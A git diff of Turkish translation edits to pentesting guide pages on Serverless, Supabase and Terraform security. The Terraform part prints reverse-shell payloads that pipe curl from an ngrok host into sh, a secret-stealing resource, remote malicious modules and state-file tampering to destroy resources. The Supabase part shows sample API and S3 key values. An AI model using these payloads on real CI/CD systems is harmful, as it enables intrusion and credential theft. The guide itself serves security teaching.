bilgileri) doğrudan **`serverless.yml`** veya kodda saklanması, depoların tehlikeye girmesi durumunda ifşaya yol açabilir. -**Önerilen** yöntem, **`serverless.yml`** dosyasında ortam değişkenlerini saklamak için serverless.com'dan (bu yazının yazıldığı sırada) `ssm` veya `s3` sağlayıcılarını kullanmaktır; bu, **dağıtım zamanı** itibarıyla bu kaynaklardan **ortam değerlerini almayı** ve **lambdaların** ortam değişkenlerini **değerlerin metin olarak temiz bir şekilde** yapılandırmayı sağlar! +**`serverless.yml`** dosyasında ortam değişkenlerini saklamanın **önerilen** yolu, **serverless.com**'dan (bu yazının yazıldığı sırada) `ssm` veya `s3` sağlayıcılarını kullanmaktır; bu, **dağıtım zamanı** bu kaynaklardan **ortam değerlerini almayı** ve **lambdaların** ortam değişkenlerini **değerlerin metin olarak temiz bir şekilde** yapılandırmayı sağlar! > [!CAUTION] > Bu nedenle, AWS içindeki lambdaların konfigürasyonunu okuma iznine sahip olan herkes, **tüm bu ortam değişkenlerine temiz metin olarak erişebilecektir!** @@ -564,14 +564,14 @@ provider: environment: DB_PASSWORD: ${ssm:/aws/reference/secretsmanager/my-db-password~true} ``` -And even if this prevents hardcoding the environment variable value in the **`serverless.yml`** file, the value will be obtained at deployment time and will be **lambda ortam değişkeni içinde düz metin olarak eklenecektir**. +Ve bu, **`serverless.yml`** dosyasında ortam değişkeni değerinin sabitlenmesini önlese de, değer dağıtım zamanında elde edilecek ve **lambda ortam değişkeni içinde düz metin olarak eklenecektir**. > [!TIP] -> serveless.com kullanarak ortam değişkenlerini saklamanın önerilen yolu **AWS gizli anahtarında saklamak** ve sadece gizli anahtar adını ortam değişkeninde saklamak ve **lambda kodunun bunu toplaması gerektiğidir**. +> serveless.com kullanarak ortam değişkenlerini saklamanın önerilen yolu, **AWS gizli anahtarında saklamak** ve sadece gizli anahtar adını ortam değişkeninde saklamaktır ve **lambda kodu bunu toplamalıdır**. #### **Azaltma Stratejileri** -- **Gizli Anahtar Yöneticisi Entegrasyonu:** **AWS Gizli Anahtar Yöneticisi** gibi hizmetleri kullanın. +- **Gizli Anahtar Yöneticisi Entegrasyonu:** **AWS Secrets Manager** gibi hizmetleri kullanın. - **Şifreli Değişkenler:** Hassas veriler için Serverless Framework’ün şifreleme özelliklerinden yararlanın. - **Erişim Kontrolleri:** Rollere dayalı olarak gizli anahtarlara erişimi kısıtlayın. @@ -616,9 +616,9 @@ plugins: --- -### **Güvensiz API Geçidi Yapılandırmaları** +### **Güvensiz API Gateway Yapılandırmaları** -Açık veya yanlış güvenlik önlemleri alınmış API'ler, yetkisiz erişim, Hizmet Reddi (DoS) saldırıları veya çapraz site saldırıları için istismar edilebilir. +Açık veya yanlış güvence altına alınmış API'ler, yetkisiz erişim, Hizmet Reddi (DoS) saldırıları veya çapraz site saldırıları için istismar edilebilir. #### **Azaltma Stratejileri** @@ -671,9 +671,9 @@ Paylaşılan kaynaklar ve yetersiz izolasyon, ayrıcalık yükselmelerine veya f #### **Azaltma Stratejileri** -- **Fonksiyonları İzole Edin:** Bağımsız çalışmayı sağlamak için farklı kaynaklar ve IAM rolleri atayın. -- **Kaynak Bölümlendirmesi:** Farklı fonksiyonlar için ayrı veritabanları veya depolama alanları kullanın. -- **VPC'leri Kullanın:** Ağ izolasyonunu artırmak için fonksiyonları Sanal Özel Bulutlar içinde dağıtın. +- **Fonksiyonları İzole Edin:** Bağımsız çalışmayı sağlamak için belirgin kaynaklar ve IAM rolleri atayın. +- **Kaynak Bölümlendirme:** Farklı fonksiyonlar için ayrı veritabanları veya depolama alanları kullanın. +- **VPC'leri Kullanın:** Geliştirilmiş ağ izolasyonu için fonksiyonları Sanal Özel Bulutlar içinde dağıtın. ```yaml provider: @@ -690,11 +690,11 @@ subnetIds: ### **Yetersiz Veri Koruma** -Dinlenme veya iletim sırasında şifrelenmemiş veriler açığa çıkabilir, bu da veri ihlallerine veya değiştirilmelere yol açabilir. +Dinlenme veya iletim sırasında şifrelenmemiş veriler açığa çıkabilir ve veri ihlallerine veya değiştirilmelere yol açabilir. #### **Azaltma Stratejileri** -- **Dinlenme Halinde Verileri Şifreleyin:** Bulut hizmeti şifreleme özelliklerini kullanın. +- **Verileri Dinlenme Halinde Şifreleyin:** Bulut hizmeti şifreleme özelliklerini kullanın. ```yaml resources: @@ -706,7 +706,7 @@ SSESpecification: SSEEnabled: true ``` -- **İletim Halinde Verileri Şifreleyin:** Tüm veri iletimleri için HTTPS/TLS kullanın. +- **Verileri İletim Halinde Şifreleyin:** Tüm veri iletimleri için HTTPS/TLS kullanın. - **API İletişimini Güvence Altına Alın:** Şifreleme protokollerini zorlayın ve sertifikaları doğrulayın. - **Şifreleme Anahtarlarını Güvenli Bir Şekilde Yönetin:** Yönetilen anahtar hizmetlerini kullanın ve anahtarları düzenli olarak döndürün. @@ -714,7 +714,7 @@ SSEEnabled: true ### **Uygun Hata Yönetiminin Olmaması** -Ayrıntılı hata mesajları, altyapı veya kod tabanı hakkında hassas bilgileri açığa çıkarabilirken, ele alınmamış istisnalar uygulama çökmesine neden olabilir. +Ayrıntılı hata mesajları, altyapı veya kod tabanı hakkında hassas bilgileri açığa çıkarabilirken, ele alınmamış istisnalar uygulama çökmesine yol açabilir. #### **Azaltma Stratejileri** @@ -742,20 +742,20 @@ body: JSON.stringify({ message: 'Dahili Sunucu Hatası' }), ### **Güvensiz Dağıtım Uygulamaları** -Açıkta kalan dağıtım yapılandırmaları veya CI/CD boru hatalarına yetkisiz erişim, kötü niyetli kod dağıtımlarına veya yanlış yapılandırmalara yol açabilir. +Açık dağıtım yapılandırmaları veya CI/CD boru hatlarına yetkisiz erişim, kötü niyetli kod dağıtımlarına veya yanlış yapılandırmalara yol açabilir. #### **Azaltma Stratejileri** - **Güvenli CI/CD Boru Hatları:** Katı erişim kontrolleri, çok faktörlü kimlik doğrulama (MFA) ve düzenli denetimler uygulayın. -- **Yapılandırmayı Güvenli Bir Şekilde Saklayın:** Dağıtım dosyalarını hardcoded gizli anahtarlardan ve hassas verilerden arındırın. -- **Altyapı Kod Olarak (IaC) Güvenlik Araçları Kullanın:** Güvenlik politikalarını uygulamak için **Checkov** veya **Terraform Sentinel** gibi araçları kullanın. +- **Yapılandırmayı Güvenli Bir Şekilde Saklayın:** Dağıtım dosyalarını sabitlenmiş gizli anahtarlardan ve hassas verilerden arındırın. +- **Altyapı Kod Olarak (IaC) Güvenlik Araçları Kullanın:** Güvenlik politikalarını uygulamak için **Checkov** veya **Terraform Sentinel** gibi araçlar kullanın. - **Değişmez Dağıtımlar:** Değişmez altyapı uygulamaları benimseyerek dağıtım sonrası yetkisiz değişiklikleri önleyin. --- ### **Eklentiler ve Uzantılardaki Zayıflıklar** -Onaylanmamış veya kötü niyetli üçüncü taraf eklentileri, sunucusuz uygulamalarınıza zayıflıklar ekleyebilir. +Onaylanmamış veya kötü niyetli üçüncü taraf eklentilerin kullanılması, sunucusuz uygulamalarınıza zayıflıklar ekleyebilir. #### **Azaltma Stratejileri** @@ -774,14 +774,14 @@ Herkese açık erişime sahip fonksiyonlar veya kısıtlanmamış API'ler, yetki - **Fonksiyon Erişimini Kısıtlayın:** Güvenilir kaynaklara erişimi sınırlamak için VPC'ler, güvenlik grupları ve güvenlik duvarı kuralları kullanın. - **Sağlam Kimlik Doğrulama Uygulayın:** Tüm açık uç noktaların uygun kimlik doğrulama ve yetkilendirme gerektirdiğinden emin olun. -- **API Geçitlerini Güvenli Kullanın:** API Geçitlerini güvenlik politikalarını uygulamak için yapılandırın, giriş doğrulaması ve hız sınırlaması dahil. -- **Kullanılmayan Uç Noktaları Devre Dışı Bırakın:** Kullanılmayan uç noktaları düzenli olarak gözden geçirin ve devre dışı bırakın. +- **API Geçitlerini Güvenli Bir Şekilde Kullanın:** API Geçitlerini, giriş doğrulaması ve hız sınırlaması dahil olmak üzere güvenlik politikalarını uygulamak için yapılandırın. +- **Kullanılmayan Uç Noktaları Devre Dışı Bırakın:** Kullanımda olmayan uç noktaları düzenli olarak gözden geçirin ve devre dışı bırakın. --- ### **Ekip Üyeleri ve Dış İşbirlikçilerin Aşırı İzinleri** -Ekip üyelerine ve dış işbirlikçilere aşırı izinler vermek, yetkisiz erişim, veri ihlalleri ve kaynakların kötüye kullanımı ile sonuçlanabilir. Bu risk, birden fazla bireyin farklı erişim seviyelerine sahip olduğu ortamlarda artar, saldırı yüzeyini ve iç tehdit potansiyelini artırır. +Ekip üyelerine ve dış işbirlikçilere aşırı izinler vermek, yetkisiz erişim, veri ihlalleri ve kaynakların kötüye kullanılmasına yol açabilir. Bu risk, birden fazla bireyin farklı erişim seviyelerine sahip olduğu ortamlarda artar ve saldırı yüzeyini ve iç tehdit potansiyelini artırır. #### **Azaltma Stratejileri** @@ -791,17 +791,17 @@ Ekip üyelerine ve dış işbirlikçilere aşırı izinler vermek, yetkisiz eri ### **Erişim Anahtarları ve Lisans Anahtarları Güvenliği** -**Erişim Anahtarları** ve **Lisans Anahtarları**, Serverless Framework CLI ile etkileşimleri kimlik doğrulamak ve yetkilendirmek için kullanılan kritik kimlik bilgileridir. +**Erişim Anahtarları** ve **Lisans Anahtarları**, Serverless Framework CLI ile etkileşimleri kimlik doğrulamak ve yetkilendirmek için kullanılan kritik kimlik bilgileri. -- **Lisans Anahtarları:** CLI üzerinden giriş yapmak için Serverless Framework Sürüm 4'e erişimi kimlik doğrulamak için gereken benzersiz tanımlayıcılardır. +- **Lisans Anahtarları:** CLI üzerinden giriş yapmayı sağlayan Serverless Framework Sürüm 4'e erişimi kimlik doğrulamak için gereken benzersiz tanımlayıcılardır. - **Erişim Anahtarları:** Serverless Framework Dashboard ile kimlik doğrulamak için Serverless Framework CLI'nin kullanabileceği kimlik bilgileridir. `serverless` cli ile giriş yapıldığında bir erişim anahtarı **oluşturulacak ve dizüstü bilgisayarda saklanacaktır**. Ayrıca `SERVERLESS_ACCESS_KEY` adında bir ortam değişkeni olarak ayarlayabilirsiniz. #### **Güvenlik Riskleri** 1. **Kod Depoları Üzerinden Açığa Çıkma:** -- Erişim Anahtarlarını ve Lisans Anahtarlarını sürüm kontrol sistemlerine hardcoded olarak eklemek veya yanlışlıkla taahhüt etmek, yetkisiz erişime yol açabilir. +- Erişim Anahtarlarını ve Lisans Anahtarlarını sürüm kontrol sistemlerine sabit kodlama veya yanlışlıkla taahhüt etmek, yetkisiz erişime yol açabilir. 2. **Güvensiz Depolama:** -- Anahtarları düz metin olarak ortam değişkenlerinde veya yapılandırma dosyalarında uygun şifreleme olmadan saklamak, sızıntı olasılığını artırır. +- Anahtarları, uygun şifreleme olmadan ortam değişkenleri veya yapılandırma dosyaları içinde düz metin olarak saklamak, sızıntı olasılığını artırır. 3. **Yanlış Dağıtım:** - Anahtarları güvensiz kanallar (örneğin, e-posta, sohbet) aracılığıyla paylaşmak, kötü niyetli aktörler tarafından ele geçirilmesine neden olabilir. 4. **Döngü Eksikliği:** diff --git a/src/pentesting-ci-cd/supabase-security.md b/src/pentesting-ci-cd/supabase-security.md index 8199a38f0..b39cbf1dc 100644 --- a/src/pentesting-ci-cd/supabase-security.md +++ b/src/pentesting-ci-cd/supabase-security.md @@ -6,9 +6,9 @@ [**Ana sayfalarına**](https://supabase.com/) göre: Supabase, açık kaynaklı bir Firebase alternatifidir. Projenize bir Postgres veritabanı, Kimlik Doğrulama, anlık API'ler, Edge Fonksiyonları, Gerçek Zamanlı abonelikler, Depolama ve Vektör gömme ile başlayın. -### Alt Alan +### Alt Alan Adı -Temelde bir proje oluşturulduğunda, kullanıcı **`jnanozjdybtpqgcwhdiz.supabase.co`** gibi bir supabase.co alt alanı alacaktır. +Temelde bir proje oluşturulduğunda, kullanıcı **`jnanozjdybtpqgcwhdiz.supabase.co`** gibi bir supabase.co alt alan adı alacaktır. ## **Veritabanı yapılandırması** @@ -18,9 +18,9 @@ Temelde bir proje oluşturulduğunda, kullanıcı **`jnanozjdybtpqgcwhdiz.supaba Bu **veritabanı**, bazı AWS bölgelerinde dağıtılacak ve ona bağlanmak için şu şekilde bağlanmak mümkün olacaktır: `postgres://postgres.jnanozjdybtpqgcwhdiz:[YOUR-PASSWORD]@aws-0-us-west-1.pooler.supabase.com:5432/postgres` (bu us-west-1'de oluşturuldu).\ Şifre, kullanıcının daha önce koyduğu bir **şifredir**. -Bu nedenle, alt alan bilinen bir alan olduğundan ve kullanıcı adı olarak kullanıldığından ve AWS bölgeleri sınırlı olduğundan, **şifreyi brute force denemek** mümkün olabilir. +Bu nedenle, alt alan adı bilinen bir alan adı olduğundan ve kullanıcı adı olarak kullanıldığından ve AWS bölgeleri sınırlı olduğundan, **şifreyi brute force denemek** mümkün olabilir. -Bu bölüm ayrıca şunları yapılandırma seçeneklerini içerir: +Bu bölüm ayrıca şunları içermektedir: - Veritabanı şifresini sıfırlama - Bağlantı havuzlamasını yapılandırma @@ -101,15 +101,15 @@ Priority: u=1, i Bu nedenle, bir müşterinin kendilerine verilen alt alan adıyla supabase kullandığını keşfettiğinizde (şirketin bir alt alan adının supabase alt alan adlarına CNAME yönlendirmesi yapması mümkündür), **supabase API'sini kullanarak platformda yeni bir hesap oluşturmayı** deneyebilirsiniz. -### gizli / service_role api anahtarları +### gizli / hizmet_rolü api anahtarları -**`role: "service_role"`** ile bir gizli API anahtarı da oluşturulacaktır. Bu API anahtarı gizli olmalıdır çünkü **Satır Düzeyi Güvenliği**'ni atlayabilecektir. +**`role: "service_role"`** ile bir gizli API anahtarı da oluşturulacaktır. Bu API anahtarı gizli olmalıdır çünkü **Satır Seviyesi Güvenliği**'ni atlayabilecektir. API anahtarı şu şekilde görünür: `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJzdXBhYmFzZSIsInJlZiI6ImpuYW5vemRyb2J0cHFnY3doZGl6Iiwicm9sZSI6InNlcnZpY2Vfcm9sZSIsImlhdCI6MTcxNDk5MjcxOSwiZXhwIjoyMDMwNTY4NzE5fQ.0a8fHGp3N_GiPq0y0dwfs06ywd-zhTwsm486Tha7354` ### JWT Gizli Anahtarı -Uygulamanın **özel JWT token'ları oluşturup imzalayabilmesi** için bir **JWT Gizli Anahtarı** da oluşturulacaktır. +Uygulamanın **özel JWT jetonları oluşturup imzalayabilmesi** için bir **JWT Gizli Anahtarı** da oluşturulacaktır. ## Kimlik Doğrulama @@ -126,31 +126,31 @@ Bu çok kötü bir fikirdir çünkü supabase, aktif kullanıcı başına ücret ### Şifreler ve oturumlar Minimum şifre uzunluğunu belirtmek mümkündür (varsayılan olarak), gereksinimleri (varsayılan olarak yok) ve sızdırılmış şifrelerin kullanılmasını engellemek mümkündür.\ -**Varsayılan gereksinimlerin zayıf olduğu için gereksinimleri geliştirmek** önerilir. +**Varsayılan gereksinimler zayıf olduğu için gereksinimleri geliştirmek** önerilir. - Kullanıcı Oturumları: Kullanıcı oturumlarının nasıl çalıştığını yapılandırmak mümkündür (zaman aşımı, kullanıcı başına 1 oturum...) - Bot ve Kötüye Kullanım Koruması: Captcha etkinleştirmek mümkündür. ### SMTP Ayarları -E-postaları göndermek için bir SMTP ayarlamak mümkündür. +E-posta göndermek için bir SMTP ayarlamak mümkündür. ### Gelişmiş Ayarlar -- Erişim token'ları için sonlanma süresini ayarlayın (varsayılan 3600) -- Potansiyel olarak tehlikeye atılmış yenileme token'larını tespit etmek ve iptal etmek için ayarlayın -- MFA: Kullanıcı başına aynı anda kaç MFA faktörünün kaydedilebileceğini belirtin (varsayılan 10) +- Erişim jetonları için sonlanma süresi ayarlayın (varsayılan 3600) +- Potansiyel olarak tehlikeye atılmış yenileme jetonlarını tespit etmek ve iptal etmek için ayarlayın +- MFA: Kullanıcı başına bir kerede kaç MFA faktörünün kaydedilebileceğini belirtin (varsayılan 10) - Maksimum Doğrudan Veritabanı Bağlantıları: Kimlik doğrulama için kullanılan maksimum bağlantı sayısı (varsayılan 10) -- Maksimum İstek Süresi: Bir Kimlik doğrulama isteğinin süresinin ne kadar olabileceği (varsayılan 10s) +- Maksimum İstek Süresi: Bir Kimlik Doğrulama isteğinin sürebileceği maksimum süre (varsayılan 10s) ## Depolama > [!TIP] > Supabase, **dosyaları depolamaya** ve bunları bir URL üzerinden erişilebilir hale getirmeye izin verir (S3 bucket'ları kullanır). -- Yükleme dosyası boyut sınırını ayarlayın (varsayılan 50MB) -- S3 bağlantısı şu URL ile verilir: `https://jnanozjdybtpqgcwhdiz.supabase.co/storage/v1/s3` -- `access key ID` (örneğin, `a37d96544d82ba90057e0e06131d0a7b`) ve `secret access key` (örneğin, `58420818223133077c2cec6712a4f909aec93b4daeedae205aa8e30d5a860628`) ile oluşan **S3 erişim anahtarı** talep etmek mümkündür. +- Yükleme dosyası boyutu sınırını ayarlayın (varsayılan 50MB) +- S3 bağlantısı şu şekilde bir URL ile verilir: `https://jnanozjdybtpqgcwhdiz.supabase.co/storage/v1/s3` +- `access key ID` (örneğin, `a37d96544d82ba90057e0e06131d0a7b`) ve `secret access key` (örneğin, `58420818223133077c2cec6712a4f909aec93b4daeedae205aa8e30d5a860628`) ile oluşturulan **S3 erişim anahtarı** talep etmek mümkündür. ## Edge Fonksiyonları diff --git a/src/pentesting-ci-cd/terraform-security.md b/src/pentesting-ci-cd/terraform-security.md index 0610ffc13..318bc2832 100644 --- a/src/pentesting-ci-cd/terraform-security.md +++ b/src/pentesting-ci-cd/terraform-security.md @@ -6,7 +6,7 @@ [Belgelerden:](https://developer.hashicorp.com/terraform/intro) -HashiCorp Terraform, **kod olarak altyapı aracı**dır ve hem **bulut hem de yerel kaynakları** insan tarafından okunabilir yapılandırma dosyalarında tanımlamanıza olanak tanır; bu dosyaları sürümleyebilir, yeniden kullanabilir ve paylaşabilirsiniz. Daha sonra, tüm altyapınızı yaşam döngüsü boyunca sağlamak ve yönetmek için tutarlı bir iş akışı kullanabilirsiniz. Terraform, hesaplama, depolama ve ağ kaynakları gibi düşük seviyeli bileşenleri yönetebildiği gibi, DNS girişleri ve SaaS özellikleri gibi yüksek seviyeli bileşenleri de yönetebilir. +HashiCorp Terraform, **kod olarak altyapı aracı**dır ve hem **bulut hem de yerel kaynakları** insan tarafından okunabilir yapılandırma dosyalarında tanımlamanıza olanak tanır; bu dosyaları sürümleyebilir, yeniden kullanabilir ve paylaşabilirsiniz. Daha sonra, altyapınızın yaşam döngüsü boyunca tüm altyapınızı sağlamak ve yönetmek için tutarlı bir iş akışı kullanabilirsiniz. Terraform, hesaplama, depolama ve ağ kaynakları gibi düşük seviyeli bileşenleri yönetebildiği gibi, DNS girişleri ve SaaS özellikleri gibi yüksek seviyeli bileşenleri de yönetebilir. #### Terraform nasıl çalışır? @@ -18,9 +18,9 @@ HashiCorp ve Terraform topluluğu, binlerce farklı türde kaynak ve hizmeti yö Temel Terraform iş akışı üç aşamadan oluşur: -- **Yaz:** Birden fazla bulut sağlayıcısı ve hizmet arasında olabilecek kaynakları tanımlarsınız. Örneğin, güvenlik grupları ve bir yük dengeleyici ile sanal makinelerde bir uygulama dağıtmak için bir yapılandırma oluşturabilirsiniz. +- **Yaz:** Birden fazla bulut sağlayıcısı ve hizmeti arasında olabilecek kaynakları tanımlarsınız. Örneğin, güvenlik grupları ve bir yük dengeleyici ile sanal makinelerde bir uygulama dağıtmak için bir yapılandırma oluşturabilirsiniz. - **Planla:** Terraform, mevcut altyapı ve yapılandırmanıza dayanarak oluşturacağı, güncelleyeceği veya yok edeceği altyapıyı tanımlayan bir yürütme planı oluşturur. -- **Uygula:** Onaylandığında, Terraform, kaynak bağımlılıklarını dikkate alarak önerilen işlemleri doğru sırayla gerçekleştirir. Örneğin, bir VPC'nin özelliklerini güncelleyip o VPC'deki sanal makine sayısını değiştirirseniz, Terraform, sanal makineleri ölçeklendirmeden önce VPC'yi yeniden oluşturur. +- **Uygula:** Onaylandığında, Terraform, kaynak bağımlılıklarına saygı göstererek önerilen işlemleri doğru sırayla gerçekleştirir. Örneğin, bir VPC'nin özelliklerini güncelleyip o VPC'deki sanal makine sayısını değiştirirseniz, Terraform, sanal makineleri ölçeklendirmeden önce VPC'yi yeniden oluşturur. ![](<../images/image (215).png>) @@ -32,23 +32,23 @@ Burada bir [kılavuz](https://learn.hashicorp.com/tutorials/terraform/install-cl ## Terraform'da RCE -Terraform'un **bir web sayfası veya bir ağ hizmeti sunan bir platformu yoktur**; bu nedenle, terraform'u tehlikeye atmanın tek yolu **terraform yapılandırma dosyalarını ekleyip/ değiştirebilmektir**. +Terraform'un **bir web sayfası veya bir ağ hizmeti** sunan bir platformu yoktur, bu nedenle terraform'u tehlikeye atmanın tek yolu **terraform yapılandırma dosyalarını eklemek/değiştirmek** olabilir. -Ancak, terraform, düzgün çalışabilmesi için farklı konumlara **ayrılmış erişim** sağlayacağı için **çok hassas bir bileşendir**. +Ancak, terraform, düzgün çalışabilmesi için farklı konumlara **ayrılmış erişim** sağlayacağı için **çok hassas bir bileşen**dir. Bir saldırganın terraform'un çalıştığı sistemi tehlikeye atabilmesinin ana yolu, **terraform yapılandırmalarını depolayan depoyu tehlikeye atmaktır**, çünkü bir noktada bunlar **yorumlanacaktır**. -Aslında, bir PR oluşturulduktan sonra **terraform plan/uygula** işlemlerini otomatik olarak gerçekleştiren çözümler mevcuttur; bunlardan biri **Atlantis**'dir: +Aslında, bir PR oluşturulduktan sonra **terraform plan/uygula** işlemlerini otomatik olarak gerçekleştiren çözümler mevcuttur, bunlardan biri **Atlantis**'dir: {{#ref}} atlantis-security.md {{#endref}} -Bir terraform dosyasını tehlikeye atabiliyorsanız, birisi `terraform plan` veya `terraform apply` komutunu çalıştırdığında RCE gerçekleştirmek için farklı yollar vardır. +Bir terraform dosyasını tehlikeye atmayı başarırsanız, birisi `terraform plan` veya `terraform apply` çalıştırdığında RCE gerçekleştirmek için farklı yollar vardır. -### Terraform plan +### Terraform planı -Terraform plan, terraform'da **en çok kullanılan komut**dur ve terraform kullanan geliştiriciler/çözümler bunu sürekli olarak çağırır, bu nedenle **RCE elde etmenin en kolay yolu**, bir `terraform plan` içinde rastgele komutlar çalıştıracak bir terraform yapılandırma dosyasını zehirlemektir. +Terraform planı, terraform'da **en çok kullanılan komut**dur ve terraform kullanan geliştiriciler/çözümler bunu sürekli olarak çağırır, bu nedenle **RCE elde etmenin en kolay yolu**, bir `terraform plan` içinde rastgele komutlar çalıştıracak bir terraform yapılandırma dosyasını zehirlemektir. **Dış sağlayıcı kullanarak** @@ -62,7 +62,7 @@ program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh" ``` **Özel bir sağlayıcı kullanma** -Bir saldırgan, [Terraform Registry](https://registry.terraform.io/) 'ye bir [özel sağlayıcı](https://learn.hashicorp.com/tutorials/terraform/provider-setup) gönderebilir ve ardından bunu bir özellik dalındaki Terraform koduna ekleyebilir ([buradan örnek](https://alex.kaskaso.li/post/terraform-plan-rce)): +Bir saldırgan, [Terraform Registry](https://registry.terraform.io/) 'ne bir [özel sağlayıcı](https://learn.hashicorp.com/tutorials/terraform/provider-setup) gönderebilir ve ardından bunu bir özellik dalındaki Terraform koduna ekleyebilir ([buradan örnek](https://alex.kaskaso.li/post/terraform-plan-rce)): ```javascript terraform { required_providers { @@ -81,22 +81,22 @@ Bir örneği [https://github.com/rung/terraform-provider-cmdexec](https://github **Dış bir referans kullanma** -Bahsedilen her iki seçenek de faydalıdır ancak çok gizli değildir (ikincisi daha gizli ama birincisinden daha karmaşıktır). Bu saldırıyı **daha gizli bir şekilde** gerçekleştirebilirsiniz, bu önerileri takip ederek: +Bahsedilen her iki seçenek de faydalıdır ancak çok gizli değildir (ikincisi birincisinden daha gizli ama daha karmaşıktır). Bu saldırıyı **daha gizli bir şekilde** gerçekleştirebilirsiniz, bu önerileri takip ederek: -- Rev shell'i doğrudan terraform dosyasına eklemek yerine, rev shell içeren **dış bir kaynağı** yükleyebilirsiniz: +- Rev shell'i doğrudan terraform dosyasına eklemek yerine, rev shell'i içeren **dış bir kaynağı** yükleyebilirsiniz: ```javascript module "not_rev_shell" { source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules" } ``` -You can find the rev shell code in [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules) +Rev shell kodunu [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules) adresinde bulabilirsiniz. -- Dış kaynakta, **ref** özelliğini kullanarak **repo içindeki bir dalda terraform rev shell kodunu gizleyin**, şöyle bir şey: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b` +- Harici kaynakta, **ref** özelliğini kullanarak repo içinde **bir dalda terraform rev shell kodunu gizleyin**, şöyle bir şey: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b` ### Terraform Apply Terraform apply, tüm değişiklikleri uygulamak için çalıştırılacaktır, ayrıca **kötü niyetli bir Terraform dosyasını** [**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)** ile enjekte ederek RCE elde etmek için de kötüye kullanılabilir.**\ -Sadece aşağıdaki gibi bazı yüklerin `main.tf` dosyasında sona erdiğinden emin olmalısınız: +Sadece `main.tf` dosyasının sonunda aşağıdaki gibi bir yükün bulunduğundan emin olmalısınız: ```json // Payload 1 to just steal a secret resource "null_resource" "secret_stealer" { @@ -112,11 +112,11 @@ command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'" } } ``` -Aşağıdaki **önceki teknikten gelen önerileri** takip ederek bu saldırıyı **dış referanslar kullanarak daha gizli bir şekilde** gerçekleştirin. +Önceki teknikten **önerileri takip ederek** bu saldırıyı **daha gizli bir şekilde dış referanslar kullanarak** gerçekleştirin. -## Gizli Deşifreler +## Gizli Bilgiler Dökümü -Terraform dosyasına aşağıdaki gibi bir şey ekleyerek `terraform apply` çalıştırarak **terraform tarafından kullanılan gizli değerlerin dökümlerini** alabilirsiniz: +`terraform apply` komutunu çalıştırarak **terraform tarafından kullanılan gizli değerlerin dökülmesini** sağlamak için terraform dosyasına şu şekilde bir şey ekleyebilirsiniz: ```json output "dotoken" { value = nonsensitive(var.do_token) @@ -130,7 +130,7 @@ Terraform durum dosyaları üzerinde yazma erişiminiz varsa ancak terraform kod Kaynakları yok etmenin 2 yolu vardır: -1. **Gerçek yok edilecek kaynağa işaret eden rastgele bir isimle durum dosyasına bir kaynak ekleyin** +1. **Gerçek kaynağı yok etmek için durum dosyasına rastgele bir isimle bir kaynak ekleyin** Terraform, kaynağın mevcut olmaması gerektiğini göreceği için, onu yok edecektir (belirtilen gerçek kaynak kimliğini takip ederek). Önceki sayfadan örnek: ```json @@ -154,7 +154,7 @@ Bir EC2 örneği için, örneğin türünü değiştirmek, terraform'un onu sili ### RCE -Ayrıca, [özel bir sağlayıcı oluşturmak](https://developer.hashicorp.com/terraform/tutorials/providers-plugin-framework/providers-plugin-framework-provider) ve terraform durum dosyasındaki sağlayıcılardan birini kötü niyetli olanla değiştirmek veya kötü niyetli sağlayıcı ile boş bir kaynak eklemek de mümkündür. Orijinal araştırmadan örnek: +Ayrıca, [özel bir sağlayıcı oluşturmak](https://developer.hashicorp.com/terraform/tutorials/providers-plugin-framework/providers-plugin-framework-provider) ve terraform durum dosyasındaki sağlayıcılardan birini kötü niyetli olanla değiştirmek veya kötü niyetli sağlayıcı ile boş bir kaynak eklemek mümkündür. Orijinal araştırmadan örnek: ```json "resources": [ { @@ -167,9 +167,9 @@ Ayrıca, [özel bir sağlayıcı oluşturmak](https://developer.hashicorp.com/te ] }, ``` -### Kara listeye alınmış sağlayıcıyı değiştirme +### Kara listeye alınmış sağlayıcıyı değiştir -`hashicorp/external` kara listeye alındığında bir durumla karşılaşırsanız, `external` sağlayıcısını aşağıdaki gibi yeniden uygulayabilirsiniz. Not: https://registry.terraform.io/providers/nazarewk/external/latest adresinde yayınlanan external sağlayıcısının bir fork'unu kullanıyoruz. Kendi fork'unuzu veya yeniden uygulamanızı da yayınlayabilirsiniz. +`hashicorp/external` kara listeye alındığında bir durumla karşılaşırsanız, `external` sağlayıcısını aşağıdaki gibi yeniden uygulayabilirsiniz. Not: https://registry.terraform.io/providers/nazarewk/external/latest tarafından yayınlanan bir external sağlayıcı çatalını kullanıyoruz. Kendi çatalınızı veya yeniden uygulamanızı da yayınlayabilirsiniz. ```terraform terraform { required_providers { @@ -206,11 +206,11 @@ snyk iac test /path/to/terraform/code ``` ### [Checkov](https://github.com/bridgecrewio/checkov) -**Checkov**, kod olarak altyapı (IaC) için bir statik kod analiz aracıdır ve ayrıca görüntüler ve açık kaynak paketleri için bir yazılım bileşimi analizi (SCA) aracıdır. +**Checkov**, altyapı kodu (IaC) için statik kod analizi aracı ve ayrıca görüntüler ve açık kaynak paketleri için bir yazılım bileşen analizi (SCA) aracıdır. -[Terraform](https://terraform.io/), [Terraform plan](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Terraform%20Plan%20Scanning.md), [Cloudformation](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Cloudformation.md), [AWS SAM](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/AWS%20SAM.md), [Kubernetes](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kubernetes.md), [Helm charts](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Helm.md), [Kustomize](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kustomize.md), [Dockerfile](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Dockerfile.md), 